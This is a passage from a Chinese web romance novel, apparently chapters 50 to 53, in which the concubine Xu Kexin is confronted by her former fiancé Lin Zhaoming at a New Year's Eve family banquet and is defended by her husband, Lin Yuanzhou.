徐可心终日留在院中,不知晓府内发生何事,梳妆时,丫鬟站在她身后,同她轻声讲述,忽得想到什么,丫鬟梳头的手一顿,迟疑地唤了一声姨娘。 徐可心不解抬眸,透过铜镜看向她,却听丫鬟道,“前几日郎中为三姨娘诊脉,说她有喜了……” 徐可心眸色一怔,转过身看她。 好似看出她眼中的疑惑,丫鬟道,“三姨娘这几日前去请安时,一直抚着肚子,也说自己怀了孩子,想必是真的。” 徐可心未怀疑三姨娘是否真的怀孕,她只是忽然想起两月前刚死去的孩子,还有大人每日来她房中,不曾听下人们说他去过旁人那里。 想起这人总是深夜来她这里,徐可心只觉胸口沉闷,难不成这人也深夜去了旁人那里…… 入夜。 林远舟回府时,方推门走进,就见往日温柔小意的妾室此时坐在桌案前,闷闷不乐的,明显不似平常那般热切,看到他时,也只轻轻唤了声大人,走上前为他更衣,垂着眼睛,眸中没有半分喜色。 唇也紧抿在一起,好似又受了委屈一般。 他的妾室青春年少,于他而言,同少女别无一二,易付诸真情,也易胡思乱想,所求甚多,应时刻留意着哄着,才能把人养好,不至于让她枯萎凋零。 少时见到他时,这人总低垂眉眼,一副怯怯不安的模样,如今成了他的妾室怀了他的孩子,每日倒耍起性子,一会儿令他温柔些,一会儿令他正经些。 在床上也是,轻也不行,重也不行,必须恰到好处把人伺候舒服了,才会乖巧地伏在他怀里。 不然就紧抿着唇,只用那双含水的眸子盯着他看,明明白白告诉他受了委屈,但也不说自己受了什么委屈,问也不开口,只让他揣度猜测,猜不出就继续默默躲在一旁哭着,单留给他一个背影。 徐可心脱下他的外衣,转过身正要放在一旁时,身后之人忽然上前一步,揽住她的手臂将她抱在怀里,贴着她耳侧问,“白日有人来寻可心?” 他的声音很轻,好似随口一问,但林远舟整个人站在她身后,半边身子压在她身上,将她笼在怀里,又让她难以忽视这人的话。 徐可心下意识攥着他的手腕,伸手的瞬间却反被牵着抚上她的腹部,男人的手落在上面不轻不重抚摸,格外舒适,她心上的郁闷也褪去些许,说今日无人来寻她。 她枕着男人肩膀,脸上没有笑意,一副有心事的模样。 “既无人来寻可心,谁又惹我们可心不快,可告之为夫?” 冷淡的话在耳后响起,带着说不清的轻佻,徐可心眸色一怔,下意识偏头看向站在身后的男人,却见他眼底没有情绪,仍是那副不近人情的面色,好似方才那句轻佻至极的话不是他说的一般。 如同闺房私语,不仅分外亲昵,还透着几分哄慰的意味。 她怔愣地看了男人半晌,才堪堪回神,转过身靠在林远舟怀里,环着他的腰背轻声问,“只要妾身说,大人就会为妾身做主?” 林远舟揽着她的腰,抚上她的侧脸,垂眸淡淡嗯了一声,语调算不得温柔,但手上的动作很轻,只轻轻贴着她的侧脸,安抚般揉着她的眼尾。 这人很喜欢揉她的眼尾,但她不喜欢,总觉得这人未专心听她讲话。 徐可心攥住他的手,抬眸看向他。 她想寻个委婉的说辞,暗示大人,不喜欢他去寻别人,想告诉大人,想独占他,可大人并非只有她一人,她也只是这人的妾室,无论怎样粉饰她的不满,都无法掩饰她心里的吃味。 心上挣扎不停,到嘴边的话却分外直白,“是大人惹妾身不快,大人能否同妾身那般,只留在妾身身边,不要再去寻旁的人。” 她紧攥男人的衣服,微微蹙眉,眨也不眨地盯着林远舟看。本以为话很难说出口,可真得把自己的心意全盘托出后,又觉格外轻松。 徐可心也知晓她的话的确蛮不讲理,还带着几分无理取闹的意味。 可意外地,男人面色如常,既未说她的话不切实际,也未谴责她嫉妒心作祟,任性胡闹,他只是微微俯身,迎着徐可心的注视,轻轻吻上她的唇角,说了个好字。 他眼底水平无波,一贯平静地看着她,可那个好字落在徐可心的心上,却好似一颗石子落在无风湖水上,顷刻间泛起涟漪。 徐可心直挺挺地站在原地,做不到像他那般平静,整个人浑身燥热,面色微微泛红,羞耻至极。 并非窘迫,而是心软成一滩水,恨不得这辈子都栖息在他的身下,再也不离开。 甜言蜜语本就惑人,一贯冷心冷血的人口中的纵容更是好似被蜜糖裹挟的砒霜毒药,明知道他话里可能没几分真心,但还是忍不住沦陷。 “大人给了妾身承诺,不得反悔。”她说。 林远舟揽着她的肩膀,向里室走去,也未说答不答应。 他总是不给别人确切的回应,不做承诺,但不知为何,徐可心又认为他只要未反对,就是答应的意思。 临近十二月末,快到除夕,府上格外忙碌,下人踩着木梯在房上挂着红绸带和红灯笼,脚踩进雪里,吱吱作响,府上终于有几分活人气,而非平日里那般死寂。 日中则昃,月盈则食,没过多久就到了除夕。 除夕家宴当天,陛下召百官携家眷入宫,共贺新春,大人同夫人入宫,入夜才会回府。 府上众人前去宴席,早早等待。 “阿姐,我想娘亲了。” 去宴席的路上,小妹跟在她身旁,攥着衣领,忽然眨着眼睛喃声道。 过去几年,每逢除夕她们都同母亲在一起,父亲总是政务繁忙,不会真得陪在她们身侧,只有到了宴席时,才会逐一对府上众人训话。 父亲并非良臣,勾结朋党被先帝惩处,母亲悬梁自尽,她和小妹沦落教坊司。 不管父亲做了什么,终究对她们有养育之恩,旁人可以骂他是奸臣,牵连大房众人,她却不能责怪父亲,也没有资格把母亲的归咎到父亲身上,只能痛苦扭曲地记住过去的一切,把所有的错处落在自己身上。 若当初她进宫,成了先帝的妃嫔,父亲会不会也收敛野心,不在几个皇子中挑选,最后被人一本奏折告到先帝那里,惹怒先帝。 圣旨刚下来,徐府就被抄家,她和小妹也被押至教坊司。 她至今不知晓,到底何人存心致父亲于死地,上书奏折给陛下,也害得徐府大房众人被牵连。 “阿姐已经命人备好纸钱,待晚些回去,便祭奠母亲。”徐可心叹了口气,轻声道。 父亲棋差一招,未斗过旁人,她入教坊司时,也曾想过出来后查清当初上书奏折的人是谁,但她甚至无法离开教坊司,心上的念头也不了了之。 两人在雪中走着,快到宴席时,却见一个少年站在拐角处,正正好好站在小路中间,挡住她们的去路。 他垂着眉眼,攥着手中的扇子,好似在等人,一个下人站在他身侧,执着伞为他遮挡落雪,下人眉眼花白是个老翁。 两人走进,未等徐可心向他借路,少年先转过头,身着锦衣,唇红齿白,正是那日生辰宴走错路的少年。 他的目光落在一旁小妹身上,不由分说地快步上前,扯住小妹的手。 小妹微微蹙眉,用力抽回自己的手,少年落了空,竟直接扑进小妹怀里,徐念安眸色瞪大,下意识道,“谁家的公子这般无礼?” 忽得想起那日长公主的话,知晓他是宫里的皇子,徐可心轻声开口,劝他松开手。 徐念安推着他的肩膀,也想将他推开,可这人一语不发,只一个劲地往小妹怀里钻。 若不知晓他是宫里的主子,怕是会被人认成登徒子。 随行他的下人见状,也公子公子的劝着,但无论他们说什么,少年也不松开手臂,比狗皮膏药还要粘人,好似赖上小妹一般。 最后徐念安无奈,只能牵着他的手,向宴席走去,少年心满意足,只乖巧地跟在她身旁。 临到宴席,大人和夫人还未入座。 见她们二人带着一个少年走入宴席,坐在一旁的三姨娘先笑道,“不是我说四妹,你这才怀孕,孩子就生下来了,还长这般大。” 她口无遮拦,直接出言嘲笑,在场众人纷纷看了过来,眸色俱是不解,不明白他是哪家的公子。 林怀瑾坐在不远处,待看清少年的面容后,目光微凝,未想到少年今日也会前来府中,他看向一旁的林昭明,方要告诉林昭明少年的身份,却见不知何时,林昭明已然站起身,面无表情地向徐可心走过去。 他眸色一怔,下意识唤了一声昭明,但林昭明好似未听见一般,直直走上前。 望着他满身戾气的背影,林怀瑾微微皱眉,恐他闹事冲撞少年,命下人给父亲传信,随后站起身,向几人走去。 徐可心站在那里,听到三姨娘嘲弄的话,垂下眉眼,方要解释此人只是路上碰见的贵客,阴冷的话先在身侧响起,“徐可心,你怀了一个孩子也就罢了,他又是谁?” 话音刚落,在场众人彻底没了声音,纷纷抬眼看过来。 徐可心转身看去,却见林昭明不知何时走到她身侧,死死盯着她,眸中怨气比未过头七的厉鬼还要浓重,他一字一句质问,不顾这少年的年纪,直接断定这孩子也是她生的。 徐可心紧抿着唇,良久未语一言,只觉这人胡言乱语,愈发无理取闹。 可她越不开口,林昭明得不到解释,脸色越难看,不知想到什么,他忽得咬牙道,“难道他也是你捡来的?” 少年虽年幼,但模样俊美,也是浓眉红唇,长了一张极为漂亮的面容,格外惹人怜,同幼时的林昭明相比,也没有半分逊色,都是极为艳丽的长相。 而且少年安静站在那里,眸色平静沉稳,不似他那般暴戾恣睢,更衬得他幼稚任性。 林昭明站在不远处,紧紧盯着徐可心,垂在身侧的手紧握成拳,一副怒不可遏的模样,可仔细探究,却能发现他眼底的慌乱。 没人比林昭明清楚,他最开始到底是凭借什么讨得徐可心的喜欢,现在他唯一的优势被人取代,对方还比他更温和年轻。 虽早就厌烦徐可心想和她撇清关系,但疑觉有人试图走着他的捷径靠近徐可心,林昭明的心上还是不自觉露出几分连他自己都未发觉的慌乱无措。 难言的怒火压在心头,让他俨然难以分清,他到底是厌恶徐可心不守贞洁,还是恨徐可心三心两意,又寻了旁的少年在身边。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 除夕家宴,全府上下的主子全在场,都知道二公子过去和徐姨娘有婚约,这人后来又大动干戈跑去徐府退婚,本以为已经厌恶到极点才会不顾及过去的情意,公然退婚让徐姨娘受人耻笑。 可现在二公子站在堂前对徐姨娘质问不休,又让人看不明白了,到底恨的还是喜欢的…… 不光旁人看不明白,连徐可心也看不明白,林昭明的心里到底在想什么。 林昭明垂在身侧的手紧握成拳,眉眼阴沉到极点。 他本就性情暴戾急躁,连带着平日里看人的目光也不自觉带着几分倨傲,令人心生忌惮,加之眸色漆黑如墨,直勾勾盯着人看时,好似阴曹地府的罗刹一般渗人。 两人无声僵持时,清朗沉稳的声音在林昭明身后响起,“此人是府上贵客,昭明勿要胡乱猜测惹人耻笑。” 徐可心抬眼看去,却见林怀瑾缓步上前,站在她身前,挡住林昭明看向她的视线。 男人今日佩戴玉冠,身着青衣,外衣袖口宽大,露出绣着云纹的白色里袖,修长的手指攥着一块玉佩,金线缠绕着他冷白的手指,好似金龙盘踞,指甲圆润整洁,透着干净的淡粉色,周身气质脱俗,好似玉面菩萨般俊美无暇。 可惜他平日里时常板着一张脸,言行古板守旧,让人心生畏惧不敢靠近。 他是林家长公子,又是当年科考的状元郎,外表看起来不沾世俗,但实则早就浸在世俗的染缸中,落得一身迂腐气。 男人站在她身前,颀长的背影恰好挡住林昭明看向她的视线,虽不知晓他是有心的还是无意的,但徐可心的确得了喘息之机,松了一口气。 她既畏惧林昭明,也害怕林怀瑾,但两人站在一起,还是林昭明更恐怖些。 林长公子站在两人之间,虽未多言,但整个人挡在徐姨娘面前,明显透着几分护着她的意味。 在场众人不自觉想起徐姨娘刚入府那会儿,长公子好似也同眼下这般对徐姨娘多有照顾,徐姨娘还因此受了夫人的责罚。 眼下长公子复又站在徐姨娘身前,众人心上也稍稍起了心思。 宴席众人惧怕大夫人的威势,只偷偷注意这边的动静,不敢议论什么。 四面八方的视线一齐落在几人身上,他们理应谨言慎行,不应在除夕夜惹出事情,林昭明也明白这个道理。 可他眼下还未弄清这少年和徐可心什么关系,长兄又上前挡在徐可心面前,隐隐有护着徐可心的意思,好似他是什么会伤害徐可心的洪水猛兽,令人提防。 忽得想起那匣珠玉首饰和那把破琴,林昭明面色黑沉如墨,也顾不得什么手足之情,眼底喷火似的,咬牙质问,“兄长,我同她还有话要说,你又为何挡在她身前?” 他当初若知晓这个口中的女子是徐可心,万万不可能会主动提议送珠玉,就应该放几只□□蟋蟀,吓得徐可心再也不敢收别的男人送的东西。 林昭明怒不可遏,面色难看至极,看林怀瑾的目光也不似之前那般尊敬,反而带着不加掩饰的恨意,好似两人有夺妻之仇一般。 “昭明方才问此人的身份,为兄也告之昭明,此人是府上的贵客,不知昭明还有什么不解,为兄可尽数告之于你,不必烦扰徐姨娘。” 林怀瑾负手而立,平声讲述,未因他的冒犯而失仪,他面色沉稳,愈发衬得林昭明无理取闹。 林昭明面色一黑,也意识到此事,越过林怀瑾看向站在他身后的徐可心,冷声道,“我和她之间的交谈,和长兄有何关系,她自己有嘴,也可以告知于我,为何要劳烦长兄?长兄又以何种身份代她开口。” 话音刚落,不单林怀瑾,林昭明自己忽得沉默,没了声音。 要论起名分, 徐姨娘是他们的庶母,他们二人均为小辈,谁也未比谁同她亲近。 不约而同地,两人一齐转过身,看向徐可心,无声注视她。 徐可心正躲在林怀瑾身后,暗暗祈祷大人能快些前来时,却见兄弟二人一齐盯着她看,目光直白,令人难以忽视。 不管在她面前两人如何胡闹,但在外人看来,林家兄弟二人俱是万里无一的人中龙凤,身份显贵容貌不凡,好似除了隐藏在暗处烂到根里的恶劣性子,无人能挑出两人的错处。 可偏偏徐可心早就知晓两人的劣根性,还对他们二人格外畏惧,现在被他们两人盯着看,她不自觉向后退了一步,怔愣地看着两人,甚至忘记他们方才说了什么。 见她退后,林怀瑾离她最近,看出她眼中的排斥,先上前一步,攥住她的右手臂,唤了一声姨娘,不给她回避的机会。 林昭明看向紧攥她的那只手,眉头紧拧,也上前一步,扯住她的左手臂,五指用力,唤了一声庶母。 两人站在她身侧,几乎快要将她夹在中间,馥郁的檀香和浅淡的梨香充斥在她身侧,完全将她笼罩其中。 一人攥着她的一只手臂,徐可心紧抿着唇,被两人围在中间无处可躲,她只觉心跳得厉害,不得不看向面前两人。 “你告诉长兄,我林昭明是你的什么人?” “不知姨娘视怀瑾为哪种身份,好友还是亲人?” 问询的话一齐在耳边响起,徐可心面色紧绷,迎着两人的注视,先是看了眼林昭明,复又看了眼林怀瑾,直言道,“二位公子可否先松开妾身……” 他们两人行事无忌,但她不能陪着他们胡闹,公然在众人面前同他们纠缠。 好似看出她眸中的顾虑,林怀瑾先松开了手,说了句失礼了,向后退了一步,徐可心霎时舒了口气。 她再次看向身侧的林昭明,对方明显比林怀瑾执拗,仍攥着她的手臂不放。 见林怀瑾让步,他不仅未松手,反而将徐可心拽到她身侧,抬步站在两人之间,也挡住林怀瑾看向她的视线,低头问,“你说,我到底是你的谁?” 他追问不停,林昭明自己也不知晓为何会问出这个问题,但心上莫名的不安推使他想要知晓,徐可心眼下如何看待他,到底把他当做什么。 过去他可以对任何人说,徐可心非他不可,但如今看来,好似并非如此。 林昭明紧攥她的手臂,一开始面色还格外凌厉,可迟迟等不到她的回答,这人的眸中竟露出几不可察的怯意,看向她的目光也带着几分委屈,微微皱眉,好似不明白,只是一个很寻常的质问,她为何迟迟不开口。 眼下身处宴席,所有人都在留意他们几人,徐可心说不出什么叙旧安抚的话,也不想同他继续纠缠。 她犹豫良久,眉眼低垂,用只有两人能听见的声音,轻声道,“今夜是除夕,过去你会翻墙跑去见我,那时我们刚有婚约,我是昭明的未婚妻,得了昭明的喜欢。” “那时你也幼稚莽撞,但是真得喜欢我,现在你不会翻墙,也不会再做出你如今所认为的幼时蠢事,于你而言,我早就是无关紧要的人,公子再追问这些,又有何意义?” “若是为了一时口舌之快,那我也可如公子的意,告诉旁人我是被公子退婚的女人,是公子的庶母,是公子早就厌烦的人。” “不知公子可还满意?”徐可心一字一句缓声道,她自认为已经顺了林昭明的心意,但不知为何,在她说完后,林昭明面色一沉,良久无话。 林昭明好似被定住一般,攥着她的手臂,既不松手,也没有下言。 他的手指格外有力,攥得徐可心手臂生疼,她用力扯了扯,想要挣脱林昭明的手,但未想到反倒令他回神。 林昭明盯着她,忽然道,“是依仗你腹中孩子的缘故?” 徐可心未听懂他的意思,但下意识抚住腹部,微微蹙眉,谨慎地看着他,“妾身不懂公子的话。” 林昭明眉眼上挑,瞥了一眼她隆起的小腹,未同方才那般无措,而是当着众人的面,“依仗你腹中的孩子得了势,才伶牙俐齿,若这孩子死了,你是不是又要变回从前那副胆小怯懦的姿态。” 他的话过于直白,话落的瞬间,在场众人都没了声音。 徐可心也如坠冰窟,怔愣地看着眼前的男人,未敢相信他会说出这般丧心病狂的话。 好似她腹中的孩子是什么死物一般,任由他处置。 徐可心紧攥衣袖,身子不自觉颤抖,对上林昭明冷漠至极的目光,她蜷缩手指,只觉气到极点,抬手打了上去。 啪的一声,手心正正好好打在男人的脸上,不似上次那般轻微划伤,这次一巴掌实实在在就是打在他的脸上。 林昭明没有防备,或者说,他未想过徐可心会打他,微微偏头,冷白的侧脸霎时红肿。 他垂着眉眼,未同上次那般质问不休,只缓缓抬手,抚上自己被打的侧脸,不紧不慢道,“你为了腹中的孽种打我,你只在意他,不在意我是吗?” 他眼下被打了,却未露出多少急躁,而是平和异常,只轻声反问,可偏偏他这副平静面色更令徐可心恐惧。 四周传来些许惊呼议论声,旁人无不震惊地看着两人,站在一旁的林怀瑾看着他脸上的红印微微蹙眉,但未多言。 她知晓自己不应该失了分寸,当众打林昭明,但这人步步紧逼,也的确将她往绝路上赶。 徐可心只觉一刻都不想再留下去,她慌乱转身,方要离开,谁成想直接撞进别人怀里。 她脚步不稳,身子倾斜,眼见快要摔倒时,对方先伸手揽住她的腰,稳稳地扶着她的身子,将她抱在怀里。 熟悉的冷香扑面而来,徐可心抬头,却见大人不知何时前来,稳稳扶着她的身子。 她方被林昭明吓到,下意识想要向他诉苦,但一想到自己打了林昭明,徐可心又不知如何开口。 心上委屈,又做错了事,她踌躇地看着男人,对上他没有情绪的目光,直接低头靠在他怀里,难受地哭了起来。 “你竟敢打昭明?” 质问的话在身后响起,徐可心抬眼看去,却见大夫人冷冷盯着她,眼底带着不加掩饰的质问。 她素来怕夫人,心跳止不住加快。 的确她先打了人,不知道大人会不会责怪她,徐可心松开攥着男人衣服的手,不敢再同他诉苦,下意识上前,想要同夫人告罪,可未等她迈步半步,就被人揽着腰抱回怀里。 男人攥着她手腕向主位走去,不顾旁人的目光,令下人搬来桌椅安置在他身侧,又命丫鬟拿来药脂,亲手为她涂抹。 微凉的软膏覆在掌心上,很快化成一滩水,凉丝丝的,很快缓解了手心的酸胀。 未曾想过大人不仅未责问她,反而为她涂抹药脂,徐可心安静地坐在男人身侧,眼中的泪水也尽数退了下去。 她平摊掌心,任由男人涂抹药脂。 宴席众人早已落座,目光一齐落在两人身上,林昭明站在原地,看着两人在人前亲密无间的模样,紧攥拳头,一句话未说转身离开宴席。 大夫人急切地唤了一声昭明,可林昭明快步离开,未回头一眼。 大夫人方才亲眼瞧见徐可心打了她的儿子,她同大人一起前来,没道理大人未看见,眼下他不仅未惩处徐可心,却亲自为她涂抹掌心,明明受伤的人是她的儿子,眼下却好似徐可心受了委屈一般。 大夫人紧攥帕子,快步上前,冷着语气,“大人,徐姨娘动手打人,理应受到惩处。” 质问的话在一旁响起,徐可心心跳一滞,不自觉想起那日夫人命人用木棍夹自己的手指,幻痛在心头蔓延,手也不受控地开始微微抖动。 男人握着她的手腕,放下药脂,覆上她的手背,合拢手指将她的整只手握在掌心之中,几乎瞬间,她心上的恐惧褪去些许,抬眸看向男人,却听他语气淡漠,不紧不慢道,“昭明对庶母轻言无礼,理应重罚。” 林远舟握着她的手,看向站在堂前的大夫人,“不知可心想要如何惩处?” 在场人众人面色一怔,谁都未料到大人不仅未责怪徐姨娘,反倒问她如何治二公子的罪。 大夫人闻言,显然也未料到他会问出这番话,面色泛白,下意识道,“大人,昭明何错之有?徐姨娘自怀有身孕后愈发娇纵,和昭明方才所言一般无二,大人 为何要偏颇她,而去惩处昭明?” 她站在不远处控诉不停,可男人未理会她的话,只攥着徐可心的手,在等她开口。 徐可心回握男人的手,不曾想过大人会为她做主,甚至在众人面前令她作择,药脂紧贴着两人的手心,严丝合缝地覆在两人掌心之间。 她早就厌烦了林昭明的冒犯无礼,微微抬眸,方要开口,目光掠过一旁,却见大夫人直直盯着她,眼底浓黑阴沉,同那日在堂内看三姨娘的目光别无一二,莫名的不安涌上心头。 第52章 大夫人的目光令人不寒而栗,徐可心下意识看向身旁的男人,却见大人垂着眉眼,也在看向大夫人。 她只看出大夫人眼里的怪罪,未察觉出旁的,林远舟握着她的手,指骨嵌进她的指缝中,未再等她作择,语气没有起伏道, “二公子出言不逊,明日起罚跪祠堂七日,不得前去探望。” “徐姨娘如今怀有身孕,免去请安,听雨阁院中之事由管家照料。” “道观年久失修,明年夏拆之复建。” 不用请安,今夜之后,她明日也不必前去面对夫人,受几人的冷嘲,免去了后顾之忧。道观被废,她之后也不必再前去祈福。 徐可心看向男人的侧颜,原来大人一直知晓她在府中的处境,掌心残留的药脂缓慢化开,连同这人的话一起,融进肤下。 待他不紧不慢说完,大夫人的目光也从徐可心身上移到林远舟身上,不可置信地看着他,素来沉寂的眸子此时透着不解和清晰的怨念。 可无论旁人如何看他,倾慕的、不满的亦或怨恨的,他的眼底总是淡漠至极,不会为旁人泛起半分涟漪,哪怕对待自己亲人手足,也不会留下一丝真情。 好似于他而言,所有人都不过是他的一颗棋子,落至棋盘之上必有其用,而与私情无关。 大夫人站在堂前,直直看着林远舟,饶是对他的话不满,也未敢多言,只在他的身侧落座。 旁人不知晓,她却明白。 大人之所以对后宅之事漠然置之,无非是根本不在意后宅众人,只要面上太平无事,他根本不会分神理会。 她恨此人的无情,但也真真切切畏惧他。 大夫人沉默坐在一旁,未再开口。 风浪还未等掀起,就因这人的到来,而彻底平息,而变得死寂。 在场众人全都收敛心思,未敢议论什么,饶是三姨娘也垂着眉眼,默默拿着筷著,未敢趁机挑起事端。 只有那位少年面色如常,目光全然落在小妹身上,扯着她的裙摆站在她身侧,小妹推他的肩膀,让他去旁处,少年好似未听见一般,固执地不松手。 厅堂之内,气氛凝滞如胶,众人都垂着眼,互不交谈,厅堂内一片死寂,唯有杯盏轻碰的余音,分明是除夕家宴,但沉寂地好似林中墓地。 宴席之外,清月悬在半空,直到烟火冲天,府内才有了些许生气。 徐可心看着坐在身侧的男人,知晓众人畏惧大人,宴席才会安静无声,她刚入府时也怕这人,可相处越久,越依赖他,舍不得从他身旁离开,恨不得天天见到他。 这人是她的夫君,哪怕没有几分真心,但也愿意纵着她。徐可心垂着眉眼,抚上自己的腹部,只希望这个属于他们的孩子可以平安生下。 在她身旁,一直未分神看她的男人抬眼看了过来,淡淡瞥了她一眼,过了半晌收回目光。 宴席结束,大人携少年离开,少年本来不想走,抱着小妹不松手,但对上男人的目光,只能老老实实松手,同他离开。 回听雨阁的路上,小妹跟在她身后,小声抱怨那少年格外无礼,好奇他是哪位皇子。 她们入教坊司时,坐在龙椅上的人还是先帝,只三年过去,先帝就驾崩了,新帝即位。她成日深居内宅,也不知晓到底哪位皇子得了皇位。 那少年年纪尚小,又是皇后所出,应是九皇子。 徐可心轻声开口,命她不得随意议论皇子,回了听雨阁后,又命人取来纸钱,在雪中祭奠。 黄纸燃得很慢,被风雪裹挟,徐可心盯着盆中火,眼前忽得浮现起母亲自尽的情景。 知晓父亲死后,她也寻了白绫踢了凳子,整个人挂在房梁上面,阖上眼皮没了气息,分明白日还环着她的肩膀,说父亲一定会相安无事,让她照顾好小妹,晚上母亲就去了。 早在母亲让她照顾小妹时,她就应该发现,母亲存了死志。 父亲死后,她还有些许渺茫,母亲死后,才忽然感觉同这天地分离,仿佛自己从未来过一般。 她拿着纸钱,轻轻放在铜盆里,轻轻叹了口气。 父亲树敌过多,徐家倒下后,一众门客也作鸟兽散,昔日友人同他割席,她也不知道应从何处查起,问出当年到底何人想要致父亲于死地。 临近子时,徐可心蜷缩在被中睡得不安稳,几次梦到过去的事情,反复清醒反复入睡。 按照惯例,大人今日应宿在夫人那里,徐可心也未等候他。 入了深夜,她又一次梦到母亲,胡乱伸手想要扯住母亲的手,这一次没有落空,被紧紧回握,可梦里的母亲已经消散了,她攥的手是谁的? 她缓缓抬起眼皮,才发觉自己被人从身后紧紧环抱,有力的手臂横在她身前,将她困在怀里。 熟悉的冷香环在身侧,她下意识唤了一声大人,本以为得不到回应,但不轻不重的一声嗯在身后响起,声音低而哑,好似还未彻底入睡。 今夜是除夕,明早天亮了就是新春,新旧交替,过往发生的事情也好似停留在此刻,让人逐渐淡忘。 她扶着腹部小心转过身,枕着男人的手臂,蜷缩在他怀里,小声道,“大人,妾身梦到母亲了。” 她没有旁人能够依靠诉苦,好似只能把心事告诉大人。 待她说完后,揽在她腰间的手臂向上,扣住她的肩膀,将她压在怀里。 男人的下巴抵着她的头,不紧不慢地说着安抚的话,还说为她母亲另建新墓,供她随时前去祭拜。 大人的声音很好听,缓着语气讲话时,也是独一份的温柔,就是平常人冷了些,鲜少留神别人的话。 徐可心垂着眉眼,轻轻打了个哈气,半阖眸子看着男人的侧颈,盯了半晌后,不受控地咬了上去,几乎瞬间,修长的手指就钳住她的下颌,强迫她抬头。 月色中,男人垂眸注视她,四目对视,徐可心闭上眼睛,含糊地唤了声痛。 可良久未得到他的回应,她抬眸看去,却听男人忽然问,“可心怀孕数月,眼下身子可有不适?” 之前几日的确不舒服,被人精心照料一段时日,加之时常被他哄着,如今身子安稳,不似过去那般难受。 她眨着眼睛,“有大人陪在妾身身侧,妾身并未感到不适。” 男人的手仍攥着她的下颌,好似对她的答案不满意,无声看了她半晌后,林远舟复又问了一遍,仍是刚刚那句问话。 终于意识到不对劲,徐可心小心翼翼地看着他,迟疑地嗯了一声,“既然大人问起,妾身好似的确有些不适。” 徐可心不知晓大人为何问这句话,只能顺着他的话回答,想要知晓他问这句话的缘由,可还未等她追问,就被从暖被中抱起,轻轻放在床上。 里裤褪下,男人攥着她的腿弯,不紧不慢分开,垂着眉眼,目光落在上面良久未移开。 徐可心呼吸一滞,以为他起了兴致,虽的确没有多少情欲,但还是任由他看着,只是心跳得格外快,几乎快要蹦出来似的。 不过今夜这人格外怪,只垂着眉眼无 声注视,未做旁的,好似观赏一般。 她攥着被子,借着月色看向身前的男人,方要问他怎么了,男人忽然俯下身,凑了上去,她眸色一怔,下意识抬腿踩在男人的肩膀上,阻止他的亲近。 却见林远舟抬眸,不咸不淡看了她一眼,抬手按着她的腿弯,再次吻了上来。 温热的呼吸落在腿间,徐可心只觉大脑一片空白,想要阻止他的靠近,但又因身子不便,而只能瞪大眼睛,眼睁睁看着他低下头。 那日她偷吻后,心上格外紧张,一直担心这人怪罪她,未留心旁的,眼下她心上格外平静,亲眼看着这人为她俯身,难言的羞耻彻底浮上心头。 她过去总认为大人高不可攀,是悬在雪夜的冷月,难以亲近,如今他却愿意低头,服侍她的情欲,令她欢愉。 心跳得愈发厉害,她下意识咬着手臂,试图平复心绪,可双腿仍由于紧张而颤抖不停,浑身暖融融的,好似掉进了水里。 她忽得记得有首曲子名唤听雨。 琴师在春夜等友人上门,雨下得很大,落在地上生出几滩泥水。 若来者是旁人,兴许见雨势太大就失约了,可不知为何,琴师认为他会来,复又继续等了下来,哪怕过了时辰,也继续等下去。 下人说天色已深,人不会来了,琴师仍未命人收琴。 还好没过多久,屋外传来叩门声。 友人执伞走进,说来时未执伞,衣服被雨淋透,不想狼狈前来见她,复又回去换了衣裳,才又匆匆前来。 好似想要见一个人时,无论如何都会去见,若一直不来,无非早就忘在心上。 今夜是除夕,时至今日,林昭明耗尽她的最后一丝余情,她不会再等林昭明了,也不相信自己会等到他。 徐可心垂着眉眼,正想着过去之事,忽得深处传来热意,整个人也霎时瘫软成一滩水。 任由雨水淋湿,也落进春夜里。 她本来怀揣心事难以入睡,被翻来复出折腾一遍后,没过多久就累得阖上眼睛,也不顾男人是否尽兴,蜷缩在他怀里枕着他的肩膀沉沉入睡。 她不必请安,也没有往日的顾虑,毫无负担地睡至正午。 大人早就离开,前去宫中参加朝会,方一回府,就命人唤她过去。 书房内,暖香氤氲,弥漫着四周,令人心生倦意,她来时本穿着一件狐白裘衣,但书房内太过温热,没过多久后背沁出薄汗,她又脱下裘衣,只穿了单衣站在男人身侧。 裘衣宽大,恰好被遮住隆起的腹部。眼下裘衣被脱下,腹部的曲线也被单薄的衣裳勾勒的一览无余。 大人唤她过来,也未说要做什么,只让陪在一旁,给了她一本话本,让她自己坐在软榻那里看书解乏。 她看得累了,又觉腰背酸疼,没过多久又站起身寻至男人身侧,站在他身边看他处理公务。 她本就身姿丰腴,自从怀有身孕后,又每日服用各色补汤,不知何时开始,人也变得愈发圆润,特别是脸颊,明显多了些许肉。 她那夜站在铜镜前,看到愈发丰腴的身子,怎么也吃不下东西,连带着入夜见大人时,也不让他抱。 可饶是她再抗拒,也被揽着腰被大人抱在怀里,徐可心紧张地看着他,唯恐他说出什么嫌弃的话语,可等了良久,男人连眉头都未皱一下,反倒发现了她的异样,问她发生何事。 她蜷缩在这人怀里,把自己的顾虑告诉了他,谁成想这人听完后,并未说出自己的看法,反倒低笑一声。 徐可心疑觉这人在嘲笑她,心上窘迫至极,正要埋怨他时,男人忽得低头,吻上她的眉心,低声轻语,“为夫并非无用之人,抱着情人安抚的力气还是有的。” 徐可心不说话了,之后再看向铜镜时,也不再执着于同自己的身姿计较。 的确如男人所言,无论什么姿势,这人都能将她抱起,只是苦了她,被这人翻来复出折腾,还无法抗拒。若非顾及她腹中的孩子,这人恐怕会更肆无忌惮。 她每日同这人在一起,被他养着纵着,人也如大夫人所说那般,在大人面前变得格外娇纵,浑身透着被宠出媚态。 林昭明推门走进时,却见徐可心乖巧地站在他父亲身侧,挺着隆起的腹部,扶着他的肩膀轻声同他讲话。 而他的父亲揽着徐可心的腰,虽未回应什么,但面色闲适,并不似同别人讲话时那般冷漠。 两人之间亲密无间,好似再也容不下旁人。 徐可心本来兴致缺缺,有些困倦,但忽然看到男人手中的文书上记载着姑苏景色,忍不住俯身看过去,好似留意到她的目光,男人揽着她的腰将文书拿到她面前。 苏州府知府说,春和景明,安居乐业,好似文赋一般,只谈景致,并未提及旁的。 徐可心看不懂这文书到底要禀告大人什么,只知晓上面的景色格外美好,好似人间仙境一般。 她看得入神,忍不住读了起来,听到开门声,才堪堪回神,寻声看了过去。 待看清来人后,徐可心眸色一怔,却见不知何时,林昭明站在门前,视线不偏不倚,直白地盯着她看。 目光不似往日那般带着厌烦怨气,而是格外复杂,透着几分连她也看不懂的情绪…… 第53章 林昭明站在门前盯着她看,目光过于直白,令人想不注意都难。 